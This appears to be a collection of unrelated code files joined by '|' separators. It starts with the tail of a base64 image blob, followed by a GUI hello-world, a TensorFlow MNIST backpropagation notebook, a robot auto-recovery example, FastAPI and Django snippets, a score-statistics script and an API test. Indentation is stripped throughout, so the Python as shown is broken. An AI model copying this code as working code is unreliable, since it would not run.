///////////////////////////////////////////////////////////////////////////////0dHR9CEhIfQAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w8PD6AoKCugAAAD/AAAA/wAAAP8AAAD/AAAA/6ampv///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9HR0fQhISH0AAAA/wAAAP8AAAD/AAAA/wAAAP+VlZX////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////R0dH0ISEh9AAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Dw8PoCgoK6AAAAP8AAAD/AAAA/wAAAP8AAAD/pqam////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////0dHR9CEhIfQAAAD/AAAA/wAAAP8AAAD/AAAA/5WVlf///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9HR0fQhISH0AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8PDw+gKCgroAAAA/wAAAP8AAAD/AAAA/wAAAP+mpqb////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Y2NjsIiIi7AAAAP8AAAD/AAAA/wAAAP8AAAD/lZWV////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////0dHR9CEhIfQAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w8PD6AoKCugAAAD/AAAA/wAAAP8AAAD/AAAA/6ampv///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9zc3OgjIyPoAAAA/wAAAP8AAAD/AAAA/wAAAP+VlZX////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////R0dH0ISEh9AAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Dw8PoCgoK6AAAAP8AAAD/AAAA/wAAAP8AAAD/pqam////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3Nzc6SMjI+kAAAD/AAAA/wAAAP8AAAD/AAAA/5WVlf///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9HR0fQhISH0AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8PDw+gKCgroAAAA/wAAAP8AAAD/AAAA/wAAAP+mpqb////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////c3NzpIyMj6QAAAP8AAAD/AAAA/wAAAP8AAAD/j4+P////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////0dHR9CEhIfQAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w8PD6AoKCugAAAD/AAAA/wAAAP8AAAD/AAAA/6ampv///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9zc3OgjIyPoAAAA/wAAAP8AAAD/AAAA/wAAAP+Dg4P//f39///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////R0dH0ISEh9AAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Dw8PoCgoK6AAAAP8AAAD/AAAA/wAAAP8AAAD/pqam////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3d3d7CcnJ+wAAAD/AAAA/wAAAP8AAAD/AAAA/4ODg//9/f3//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9HR0fQhISH0AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8PDw+gKCgroAAAA/wAAAP8AAAD/AAAA/wAAAP+mpqb////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////e3t70LS0t9AAAAP8AAAD/AAAA/wAAAP8AAAD/g4OD//39/f//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////0dHR9CEhIfQAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w8PD6AoKCugAAAD/AAAA/wAAAP8AAAD/AAAA/6ampv///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////97e3vQtLS30AAAA/wAAAP8AAAD/AAAA/wAAAP+Dg4P//f39///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////R0dH0ISEh9AAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Dw8PoCgoK6AAAAP8AAAD/AAAA/wAAAP8AAAD/pqam////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3t7e9C0tLfQAAAD/AAAA/wAAAP8AAAD/AAAA/4ODg//9/f3//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9HR0fQhISH0AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8PDw+gKCgroAAAA/wAAAP8AAAD/AAAA/wAAAP+mpqb////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////e3t70LS0t9AAAAP8AAAD/AAAA/wAAAP8AAAD/g4OD//39/f//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////0dHR9CEhIfQAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w8PD6AoKCugAAAD/AAAA/wAAAP8AAAD/AAAA/6ampv///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////97e3vQtLS30AAAA/wAAAP8AAAD/AAAA/wAAAP+Dg4P//f39///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////R0dH0ISEh9AAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Dw8PoCgoK6AAAAP8AAAD/AAAA/wAAAP8AAAD/pqam////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3t7e9C0tLfQAAAD/AAAA/wAAAP8AAAD/AAAA/4ODg//9/f3//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9HR0fQhISH0AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8PDw+gKCgroAAAA/wAAAP8AAAD/AAAA/wAAAP+mpqb////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////e3t70LS0t9AAAAP8AAAD/AAAA/wAAAP8AAAD/g4OD//39/f//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////0dHR8yEhIfMAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB2AAAA/wAAAP8AAAD/AAAA/wAAAP8qKir/0tLS////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w8PD6AoKCugAAAD/AAAA/wAAAP8AAAD/AAAA/6ampv///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////97e3vQtLS30AAAA/wAAAP8AAAD/AAAA/wAAAP+Dg4P//f39///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Ozs72Hx8f9gAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAcgAAAGcAAAD/AAAA/wAAAP8AAAD/AAAA/xUVFf++vr7////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Dw8PoCgoK6AAAAP8AAAD/AAAA/wAAAP8AAAD/pqam////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3t7e9C0tLfQAAAD/AAAA/wAAAP8AAAD/AAAA/4ODg//9/f3//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7e3t/YLCwv3AAAA/wAAAP8AAAD/AAAA/wAAAPsAAABgAAAASwAAAOsAAAD/AAAA/wAAAP8AAAD/AAAA/39/f//8/Pz//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8PDw+gKCgroAAAA/wAAAP8AAAD/AAAA/wAAAP+mpqb////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////e3t70LS0t9AAAAP8AAAD/AAAA/wAAAP8AAAD/g4OD//39/f/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8/Pz9eHh49gAAAP4AAAD/AAAA/wAAAP8AAAD/AAAA6AAAAEcAAAAlAAAAygAAAP8AAAD/AAAA/wAAAP8AAAD/JSUl/9bW1v//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w8PD6AoKCugAAAD/AAAA/wAAAP8AAAD/AAAA/6ampv///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////97e3vQtLS30AAAA/wAAAP8AAAD/AAAA/wAAAP+Dg4P//f39/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9bW1v4lJSX8AAAA/wAAAP8AAAD/AAAA/wAAAP8AAADEAAAAHwAAAAMAAACZAAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/U1NT/+Xl5f/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Dw8PoCgoK6AAAAP8AAAD/AAAA/wAAAP8AAAD/pqam////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3t7e9C0tLfQAAAD/AAAA/wAAAP8AAAD/AAAA/4ODg//9/f3////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////i4uL/UVFR/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAJAAAAADAAAAAAAAAD8AAADsAAAA/wAAAP8AAAD/AAAA/wAAAP8GBgb/WFhY/9ra2v/9/f3//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8TExOgKCgroAAAA/wAAAP8AAAD/AAAA/wAAAP+mpqb////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////i4uLvLi4u7wAAAP8AAAD/AAAA/wAAAP8AAAD/hISE//7+/v/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7+/v/1tbW/1FRUf8EBAT/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAADtAAAARgAAAAAAAAAAAAAACQAAAJ4AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8BAQH/MTEx/4qKiv++vr7/09PT/97e3v/f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//i4uL/qamp6ggICOoAAAD/AAAA/wAAAP8AAAD/AAAA/5KSkv/k5OT/39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//4eHh/8jIyOwpKSnsAAAA/wAAAP8AAAD/AAAA/wAAAP9tbW3/09PT/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf/gAAAAAAAAAAAAAAAAAAf/+AAAAAAAAAAAAAAAAAAf8='
|
import PySimpleGUI as pysg
pysg.Window(title="Hello World", layout=[[]], margins=(100, 100)).read()
|
# coding: utf-8
# Deep Learning Models -- A collection of various deep learning architectures, models, and tips for TensorFlow and PyTorch in Jupyter Notebooks.
# - Author: Sebastian Raschka
# - GitHub Repository: https://github.com/rasbt/deeplearning-models
# In[2]:
import tensorflow as tf
import numpy as np
from tensorflow.examples.tutorials.mnist import input_data
# # Model Zoo -- Multilayer Perceptron with Backpropagation from Scratch
# This notebook contains three different approaches for training a simple 1-hidden layer multilayer perceptron using TensorFlow:
#
# - Gradient descent via the "high-level" `tf.train.GradientDescentOptimizer`
# - A lower-level implementation to perform backpropagation via `tf.gradients`
# - An implementation of backpropagation and gradient descent learning based on basic linear algebra operations
# ## 1. Gradient Descent Using `tf.train.GradientDescentOptimizer`
# In[3]:
# Dataset
np.random.seed(123) # set seed for mnist shuffling
mnist = input_data.read_data_sets("./", one_hot=True)
# In[4]:
##########################
### SETTINGS
##########################
# Hyperparameters
learning_rate = 0.1
training_epochs = 10
batch_size = 64
# Architecture
n_hidden_1 = 128
n_input = 784
n_classes = 10
##########################
### GRAPH DEFINITION
##########################
g = tf.Graph()
with g.as_default():
tf.set_random_seed(123)
# Input data
tf_x = tf.placeholder(tf.float32, [None, n_input], name='features')
tf_y = tf.placeholder(tf.float32, [None, n_classes], name='targets')
# Model parameters
weights = {
'h1': tf.Variable(tf.truncated_normal([n_input, n_hidden_1], stddev=0.1)),
'out': tf.Variable(tf.truncated_normal([n_hidden_1, n_classes], stddev=0.1))
}
biases = {
'b1': tf.Variable(tf.zeros([n_hidden_1])),
'out': tf.Variable(tf.zeros([n_classes]))
}
# Forward Propagation
h1_z = tf.add(tf.matmul(tf_x, weights['h1']), biases['b1'])
h1_act = tf.nn.sigmoid(h1_z)
out_z = tf.matmul(h1_act, weights['out']) + biases['out']
out_act = tf.nn.softmax(out_z, name='predicted_probabilities')
out_labels = tf.argmax(out_act, axis=1, name='predicted_labels')
######################
# Forward Propagation
######################
loss = tf.nn.softmax_cross_entropy_with_logits(logits=out_z, labels=tf_y)
cost = tf.reduce_mean(loss, name='cost')
##################
# Backpropagation
##################
optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate)
train = optimizer.minimize(cost, name='train')
##############
# Prediction
##############
correct_prediction = tf.equal(tf.argmax(tf_y, 1), out_labels)
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name='accuracy')
##########################
### TRAINING & EVALUATION
##########################
with tf.Session(graph=g) as sess:
sess.run(tf.global_variables_initializer())
for epoch in range(training_epochs):
avg_cost = 0.
total_batch = mnist.train.num_examples // batch_size
for i in range(total_batch):
batch_x, batch_y = mnist.train.next_batch(batch_size)
_, c = sess.run(['train', 'cost:0'], feed_dict={'features:0': batch_x,
'targets:0': batch_y})
avg_cost += c
train_acc = sess.run('accuracy:0', feed_dict={'features:0': mnist.train.images,
'targets:0': mnist.train.labels})
valid_acc = sess.run('accuracy:0', feed_dict={'features:0': mnist.validation.images,
'targets:0': mnist.validation.labels})
print("Epoch: %03d | AvgCost: %.3f" % (epoch + 1, avg_cost / (i + 1)), end="")
print(" | Train/Valid ACC: %.3f/%.3f" % (train_acc, valid_acc))
test_acc = sess.run(accuracy, feed_dict={'features:0': mnist.test.images,
'targets:0': mnist.test.labels})
print('Test ACC: %.3f' % test_acc)
# ## 2. Gradient Descent Using `tf.gradients` (low level)
# In[5]:
# Dataset
np.random.seed(123) # set seed for mnist shuffling
mnist = input_data.read_data_sets("./", one_hot=True)
# In[6]:
##########################
### SETTINGS
##########################
# Hyperparameters
learning_rate = 0.1
training_epochs = 10
batch_size = 64
# Architecture
n_hidden_1 = 128
n_input = 784
n_classes = 10
##########################
### GRAPH DEFINITION
##########################
g = tf.Graph()
with g.as_default():
tf.set_random_seed(123)
# Input data
tf_x = tf.placeholder(tf.float32, [None, n_input], name='features')
tf_y = tf.placeholder(tf.float32, [None, n_classes], name='targets')
# Model parameters
weights = {
'h1': tf.Variable(tf.truncated_normal([n_input, n_hidden_1], stddev=0.1)),
'out': tf.Variable(tf.truncated_normal([n_hidden_1, n_classes], stddev=0.1))
}
biases = {
'b1': tf.Variable(tf.zeros([n_hidden_1])),
'out': tf.Variable(tf.zeros([n_classes]))
}
######################
# Forward Propagation
######################
h1_z = tf.add(tf.matmul(tf_x, weights['h1']), biases['b1'])
h1_act = tf.nn.sigmoid(h1_z)
out_z = tf.matmul(h1_act, weights['out']) + biases['out']
out_act = tf.nn.softmax(out_z, name='predicted_probabilities')
out_labels = tf.argmax(out_act, axis=1, name='predicted_labels')
# Loss
loss = tf.nn.softmax_cross_entropy_with_logits(logits=out_z, labels=tf_y)
cost = tf.reduce_mean(loss, name='cost')
##################
# Backpropagation
##################
# Get Gradients
dc_dw_out, dc_db_out = tf.gradients(cost, [weights['out'], biases['out']])
dc_dw_1, dc_db_1 = tf.gradients(cost, [weights['h1'], biases['b1']])
# Update Weights
upd_w_1 = tf.assign(weights['h1'], weights['h1'] - learning_rate * dc_dw_1)
upd_b_1 = tf.assign(biases['b1'], biases['b1'] - learning_rate * dc_db_1)
upd_w_out = tf.assign(weights['out'], weights['out'] - learning_rate * dc_dw_out)
upd_b_out = tf.assign(biases['out'], biases['out'] - learning_rate * dc_db_out)
train = tf.group(upd_w_1, upd_b_1, upd_w_out, upd_b_out, name='train')
##############
# Prediction
##############
correct_prediction = tf.equal(tf.argmax(tf_y, 1), out_labels)
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name='accuracy')
##########################
### TRAINING & EVALUATION
##########################
with tf.Session(graph=g) as sess:
sess.run(tf.global_variables_initializer())
for epoch in range(training_epochs):
avg_cost = 0.
total_batch = mnist.train.num_examples // batch_size
for i in range(total_batch):
batch_x, batch_y = mnist.train.next_batch(batch_size)
_, c = sess.run(['train', 'cost:0'], feed_dict={'features:0': batch_x,
'targets:0': batch_y})
avg_cost += c
train_acc = sess.run('accuracy:0', feed_dict={'features:0': mnist.train.images,
'targets:0': mnist.train.labels})
valid_acc = sess.run('accuracy:0', feed_dict={'features:0': mnist.validation.images,
'targets:0': mnist.validation.labels})
print("Epoch: %03d | AvgCost: %.3f" % (epoch + 1, avg_cost / (i + 1)), end="")
print(" | Train/Valid ACC: %.3f/%.3f" % (train_acc, valid_acc))
test_acc = sess.run(accuracy, feed_dict={'features:0': mnist.test.images,
'targets:0': mnist.test.labels})
print('Test ACC: %.3f' % test_acc)
# ## 3. Gradient Descent from scratch (very low level)
# In[7]:
# Dataset
np.random.seed(123) # set seed for mnist shuffling
mnist = input_data.read_data_sets("./", one_hot=True)
# In[8]:
##########################
### SETTINGS
##########################
# Hyperparameters
learning_rate = 0.1
training_epochs = 10
batch_size = 64
# Architecture
n_hidden_1 = 128
n_input = 784
n_classes = 10
##########################
### GRAPH DEFINITION
##########################
g = tf.Graph()
with g.as_default():
tf.set_random_seed(123)
# Input data
tf_x = tf.placeholder(tf.float32, [None, n_input], name='features')
tf_y = tf.placeholder(tf.float32, [None, n_classes], name='targets')
# Model parameters
weights = {
'h1': tf.Variable(tf.truncated_normal([n_input, n_hidden_1], stddev=0.1)),
'out': tf.Variable(tf.truncated_normal([n_hidden_1, n_classes], stddev=0.1))
}
biases = {
'b1': tf.Variable(tf.zeros([n_hidden_1])),
'out': tf.Variable(tf.zeros([n_classes]))
}
######################
# Forward Propagation
######################
h1_z = tf.add(tf.matmul(tf_x, weights['h1']), biases['b1'])
h1_act = tf.nn.sigmoid(h1_z)
out_z = tf.matmul(h1_act, weights['out']) + biases['out']
out_act = tf.nn.softmax(out_z, name='predicted_probabilities')
out_labels = tf.argmax(out_act, axis=1, name='predicted_labels')
# Loss
loss = tf.nn.softmax_cross_entropy_with_logits(logits=out_z, labels=tf_y)
cost = tf.reduce_mean(loss, name='cost')
##################
# Backpropagation
##################
# Get Gradients
# input/output dim: [n_samples, n_classlabels]
sigma_out = (out_act - tf_y) / batch_size
# input/output dim: [n_samples, n_hidden_1]
softmax_derivative_h1 = h1_act * (1. - h1_act)
# input dim: [n_samples, n_classlabels] dot [n_classlabels, n_hidden]
# output dim: [n_samples, n_hidden]
sigma_h = (tf.matmul(sigma_out, tf.transpose(weights['out'])) *
softmax_derivative_h1)
# input dim: [n_features, n_samples] dot [n_samples, n_hidden]
# output dim: [n_features, n_hidden]
grad_w_h1 = tf.matmul(tf.transpose(tf_x), sigma_h)
grad_b_h1 = tf.reduce_sum(sigma_h, axis=0)
# input dim: [n_hidden, n_samples] dot [n_samples, n_classlabels]
# output dim: [n_hidden, n_classlabels]
grad_w_out = tf.matmul(tf.transpose(h1_act), sigma_out)
grad_b_out = tf.reduce_sum(sigma_out, axis=0)
# Update weights
upd_w_1 = tf.assign(weights['h1'], weights['h1'] - learning_rate * grad_w_h1)
upd_b_1 = tf.assign(biases['b1'], biases['b1'] - learning_rate * grad_b_h1)
upd_w_out = tf.assign(weights['out'], weights['out'] - learning_rate * grad_w_out)
upd_b_out = tf.assign(biases['out'], biases['out'] - learning_rate * grad_b_out)
train = tf.group(upd_w_1, upd_b_1, upd_w_out, upd_b_out, name='train')
##############
# Prediction
##############
correct_prediction = tf.equal(tf.argmax(tf_y, 1), out_labels)
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name='accuracy')
##########################
### TRAINING & EVALUATION
##########################
with tf.Session(graph=g) as sess:
sess.run(tf.global_variables_initializer())
for epoch in range(training_epochs):
avg_cost = 0.
total_batch = mnist.train.num_examples // batch_size
for i in range(total_batch):
batch_x, batch_y = mnist.train.next_batch(batch_size)
_, c = sess.run(['train', 'cost:0'], feed_dict={'features:0': batch_x,
'targets:0': batch_y})
avg_cost += c
train_acc = sess.run('accuracy:0', feed_dict={'features:0': mnist.train.images,
'targets:0': mnist.train.labels})
valid_acc = sess.run('accuracy:0', feed_dict={'features:0': mnist.validation.images,
'targets:0': mnist.validation.labels})
print("Epoch: %03d | AvgCost: %.3f" % (epoch + 1, avg_cost / (i + 1)), end="")
print(" | Train/Valid ACC: %.3f/%.3f" % (train_acc, valid_acc))
test_acc = sess.run(accuracy, feed_dict={'features:0': mnist.test.images,
'targets:0': mnist.test.labels})
print('Test ACC: %.3f' % test_acc)
|
#!/usr/bin/env python
"""auto_recovery.py
Run auto-recovery if the robot's safety system is in recovery state,
otherwise run damped floating with joint soft limit disabled, so that the
user can manually trigger a safety system recovery state by moving any joint
close to its limit. See flexiv::Mode::MODE_AUTO_RECOVERY for more details.
"""
__copyright__ = "Copyright (C) 2016-2021 Flexiv Ltd. All Rights Reserved."
__author__ = "Flexiv"
import time
import argparse
# Import Flexiv RDK Python library
# fmt: off
import sys
sys.path.insert(0, "../lib/")
import flexivrdk
# fmt: on
def main():
# Parse Arguments
# =============================================================================
argparser = argparse.ArgumentParser()
argparser.add_argument('robot_ip', help='IP address of the robot server')
argparser.add_argument('local_ip', help='IP address of the workstation PC')
args = argparser.parse_args()
# RDK Initialization
# =============================================================================
# Some alias
robot = flexivrdk.Robot()
mode = flexivrdk.Mode
# Initialize connection with robot server
robot.init(args.robot_ip, args.local_ip)
# Wait for the connection to be established
while not robot.isConnected():
time.sleep(1)
# Enable the robot, make sure the E-stop is released before enabling
if robot.enable():
print("Enabling robot ...")
# Application-specific Code
# =============================================================================
# If the system is in recovery state, we can't use isOperational to tell if
# the enabling process is done, so just wait long enough for the process to
# finish
time.sleep(8)
# Start auto recovery if the system is in recovery state, the involved
# joints will start to move back into allowed position range
if robot.isRecoveryState():
robot.startAutoRecovery()
# block forever, must reboot the robot and restart user program after auto
# recovery is done
while True:
time.sleep(1)
# Otherwise the system is normal, do nothing
else:
print("Robot system is not in recovery state, nothing to be done, exiting ...")
if __name__ == "__main__":
main()
|
from typing import List, Optional
from fastapi import FastAPI
from enum import Enum
from fastapi.params import Query
from pydantic import BaseModel
app = FastAPI()
class ModelName(str, Enum):
name = "sambit"
class Item(BaseModel):
name: str
quantity: int
fake_items_db: List[Item] = []
# root
@app.get("/")
async def root():
return {"message": "Hello World"}
@app.get('/home')
def home():
return 'You\'ve reached home !'
# query params
@app.get('/query')
def query_params(name: str, email: Optional[str] = ''):
return {"name": name, "email": email}
# request body
@app.post('/item')
def create_item(item: Item):
fake_items_db.append(item)
return fake_items_db
# request validations
@app.get('/validation')
def validate(name: str = Query(..., max_length=5, min_length=2)):
return name
# params
@app.get('/{name}')
def get_name(name: str):
return {"name": name}
@app.get('/model/{model_name}')
def model_name(model_name: ModelName):
return {"name": model_name.value}
|
res_file=["res_0.txt", "res_1000.txt", "res_100.txt", "res_10.txt", "res_2.txt"]
results=[]
for file_name in res_file:
scores=[];
with open(file_name, 'r') as f:
for line in f:
if line.startswith("Score:"):
scores.append(int(line[7:]))
if len(scores)!=10000:
print "Warning: ", file_name, "has not exactly 10000 scores"
results.append(scores)
def compare(first, second):
lost, remis, won=0,0,0
for x,y, in zip(first, second):
if x==y:
remis+=1
if x<y:
lost+=1
if x>y:
won+=1
return (won, remis, lost)
print "expectation of 0 is 115.911";
def stats(scores):
print "negative score: ", len([score for score in scores if score<0])
print "score>200: ", len([score for score in scores if score>200])
mean=sum(scores)/float(len(scores))
m2=sum([i*i for i in scores])/float(len(scores))
return (mean, m2-mean*mean)
import math
n=len(res_file)
for i in xrange(n):
print res_file[i], ":"
mean, var=stats(results[i])
N=len(results[i])
print "Average score:", mean, "+/-", math.sqrt(var/(N-1)), "[sigma=",math.sqrt(var),"]"
print "Scores with others:"
for j in xrange(n):
if i!=j:
w,r,l=compare(results[i], results[j])
print res_file[j],":\t %.1f:%.1f (+%d =%d -%d)"%(w+.5*r, 0.5*r+l, w,r,l)
import matplotlib.pyplot as plt
import numpy as np
hist, bins = np.histogram(results[1], range(-20,250))
width = 1.0 * (bins[1] - bins[0])
center = (bins[:-1] + bins[1:]) / 2
plt.bar(center, hist, align='center', width=width)
plt.title('histogram of exact results')
plt.show()
|
from django.shortcuts import redirect, render
from rest_framework import viewsets
from .models import University, Student
from .serializers import UniversitySerializer, StudentSerializer
from .forms import UniversityForm, StudentForm
class UniversityViewSet(viewsets.ModelViewSet):
queryset = University.objects.all()
serializer_class = UniversitySerializer
class StudentViewSet(viewsets.ModelViewSet):
queryset = Student.objects.all()
serializer_class = StudentSerializer
def index(request):
form = UniversityForm(request.POST or None)
if form.is_valid():
form.save()
form = UniversityForm()
return redirect('index')
return render(request, 'app/index.html', context={'form': form})
def students(request):
form = StudentForm(request.POST or None)
if form.is_valid():
form.save()
form = StudentForm()
return redirect('show_students')
return render(request, 'app/students.html', context={'form': form})
|
# -*- coding: utf-8 -*-
"""Test suite."""
import datetime
import pytest
from axonius_api_client.api import json_api
from axonius_api_client.api.system.dashboard import DiscoverData, DiscoverPhase
class DashboardBase:
@pytest.fixture(scope="class")
def apiobj(self, api_dashboard):
return api_dashboard
class TestDashboardPrivate(DashboardBase):
def test_private_lifecycle(self, apiobj):
lifecycle = apiobj._get()
assert isinstance(lifecycle, json_api.lifecycle.Lifecycle)
assert lifecycle.status in ["starting", "running", "done"]
def test_private_start_stop(self, apiobj):
stop = apiobj._stop()
assert isinstance(stop, str) and not stop
lifecycle = apiobj._get()
assert isinstance(lifecycle, json_api.lifecycle.Lifecycle)
assert lifecycle.status in ["done", "stopping"]
start = apiobj._start()
assert isinstance(start, str) and not start
